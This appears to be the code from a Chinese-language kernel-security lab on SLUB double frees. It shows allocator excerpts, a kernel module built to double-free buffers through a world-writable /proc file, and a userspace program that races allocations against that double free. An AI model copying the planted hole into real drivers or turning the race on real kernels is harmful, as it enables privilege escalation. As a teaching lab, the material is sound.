BUG_ON(object == fp);

static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
				 unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
	return (void *)((unsigned long)ptr ^ s->random ^ ptr_addr);
#else
	return ptr;
#endif
}

static inline void *freelist_dereference(const struct kmem_cache *s,
					 void *ptr_addr)
{
	return freelist_ptr(s, (void *)*(unsigned long *)(ptr_addr),
			    (unsigned long)ptr_addr);
}

static void prefetch_freepointer(const struct kmem_cache *s, void *object)
{
	if (object)
		prefetch(freelist_dereference(s, object + s->offset));
}

kfree(a);
kfree(b);
kfree(a);

freelist = a
*(unsigned long *)a = b;
*(unsigned long *)b = a;

static __always_inline void *slab_alloc_node(struct kmem_cache *s,
		gfp_t gfpflags, int node, unsigned long addr)
{
	void *object;
	struct kmem_cache_cpu *c;
	struct page *page;
	unsigned long tid;

	/* ... */
	object = c->freelist;
	page = c->page;
	if (unlikely(!object || !node_match(page, node))) {
		/* ... */
	} else {
		void *next_object = get_freepointer_safe(s, object);

		/* ... */
		/*
		 * 在这个地方调用了prefetch_freepointer
		 * next_object即为a
		 */
		prefetch_freepointer(s, next_object);
		stat(s, ALLOC_FASTPATH);
	}

	/* ... */

	return object;
}

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/proc_fs.h>
#include <linux/delay.h>
#include <linux/uaccess.h>

#define	TARGET_SLAB_SIZE	8192
struct test_ll {
	struct list_head sibling;
	char *buf;
	int flag;
};

static int test_file_open(struct inode *ino, struct file *filp)
{
	if (likely(!filp->private_data)) {
		filp->private_data = kmalloc(sizeof(struct list_head), GFP_KERNEL);
		if (!filp->private_data)
			return -ENOMEM;
		INIT_LIST_HEAD(filp->private_data);
	}
	return 0;
}

static long test_file_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
	switch (cmd) {
	case 0xa1:	/* create node */
	{
		struct test_ll *new;
		new = kzalloc(sizeof(*new), GFP_KERNEL);
		if (!new)
			return -ENOMEM;

		new->buf = kzalloc(TARGET_SLAB_SIZE, GFP_KERNEL);
		if (!new->buf) {
			kfree(new);
			return -ENOMEM;
		}

		list_add_tail(&new->sibling, filp->private_data);
		return (long)new->buf;
	}
	case 0xa2:	/* add a same node to the tail */
	{
		struct test_ll *new, *tail;
		new = kzalloc(sizeof(*new), GFP_KERNEL);
		if (!new)
			return -ENOMEM;

		tail = container_of(((struct list_head *)filp->private_data)->prev,
					struct test_ll, sibling);
		new->buf = tail->buf;
		tail->flag = 1;
		list_add_tail(&new->sibling, filp->private_data);
		return (long)new->buf;
	}
	case 0xa3:	/* double free */
	{
		struct list_head *head = (struct list_head *)filp->private_data;
		struct test_ll *tmp, *next;
		unsigned long i = 0;

		list_for_each_entry_safe(tmp, next, head, sibling) {
			list_del(&tmp->sibling);
			kfree(tmp->buf);
			if (unlikely(tmp->flag))
				msleep(1);
			kfree(tmp);
		}
		kfree(filp->private_data);
		return 0;
	}
	default:
		return -EINVAL;
	}
}

struct file_operations test_ops = {
	.owner = THIS_MODULE,
	.open = test_file_open,
	.unlocked_ioctl = test_file_ioctl,
};
static struct proc_dir_entry *test_entry;

static int __init test_init(void)
{
	test_entry = proc_create("test_double-free", S_IRUSR | S_IWUSR | S_IROTH |
					S_IWOTH, NULL, &test_ops);
	if (!test_entry) {
		pr_err("proc_create err\n");
		return -1;
	}


	return 0;
}

static void __exit test_exit(void)
{
	proc_remove(test_entry);
	return;
}

MODULE_LICENSE("GPL");
module_init(test_init);
module_exit(test_exit);

#define	_GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/tty.h>
#include <termios.h>
#include <syscall.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <pthread.h>

static char *target_path = "/proc/test_double-free";
#define	fd_cnt 1
#define	alloc_times 0x100
int fd[fd_cnt];

int open_target_file(void)
{
	return open(target_path, O_RDWR);
}

int alloc_8192_buf(int fd)
{
	return ioctl(fd, 0xa1, NULL);
}

int add_same_buf(int fd)
{
	return ioctl(fd, 0xa2, NULL);
}

int do_double_free(int fd)
{
	return ioctl(fd, 0xa3, NULL);
}

int do_release(int fd)
{
	return ioctl(fd, 0xa3, NULL);
}

#define	BUF_PER_FD	0x1000
#define	THREADS_RACE	0x10
int buf_fd[THREADS_RACE];
int addr[BUF_PER_FD * THREADS_RACE];
void *thread_alloc_buf(void *arg)
{
	int idx = (int)arg;
	int i = 0;
	int start = idx * BUF_PER_FD;
	int end = (idx + 1) * BUF_PER_FD;
	for (int i = start; i < end; i++) {
		addr[i] = alloc_8192_buf(buf_fd[idx]);
	}
	return (void *)0;
}

int main(int argc, char *argv[])
{
	int err;

	int i = 0;
	while (1) {
		for (i = 0; i < THREADS_RACE; i++)
			buf_fd[i] = open_target_file();

		int pid;
		if ((pid = fork()) < 0) {
			perror("fork");
		} else if (pid == 0) {
			for (i = 0; i < fd_cnt; i++)
				fd[i] = open_target_file();

			for (i = 0; i < fd_cnt; i++)
				for (int j = 0; j < alloc_times; j++)
					alloc_8192_buf(fd[i]);
			err = add_same_buf(fd[0]);
			fprintf(stderr, "double free at: %x\n", err);
			do_double_free(fd[0]);
			return 0;
		}
		int pid_status;
		pthread_t thread[THREADS_RACE];
		for (i = 0; i < THREADS_RACE; i++) {
			err = pthread_create(&thread[i], NULL,
						thread_alloc_buf,
						(void *)i);
			if (err == -1)
				thread[i] = NULL;
		}
		for (i = 0; i < THREADS_RACE; i++)
			pthread_join(thread[i], NULL);

		waitpid(pid, &pid_status, 0);
		if (WIFEXITED(pid_status)) {
			fprintf(stdout, "child ret: %d\n", pid_status);
			break;
		}

		for (i = 0; i < THREADS_RACE; i++) {
			do_release(buf_fd[i]);
			close(buf_fd[i]);
		}
	}

	for (i = 0; i < THREADS_RACE * BUF_PER_FD; i++) {
		fprintf(stderr, "%d: %x\n", i, addr[i]);
	}
	getchar();

	for (i = 0; i < THREADS_RACE; i++) {
		do_release(buf_fd[i]);
		close(buf_fd[i]);
		buf_fd[i] = -1;
	}

	return 0;
}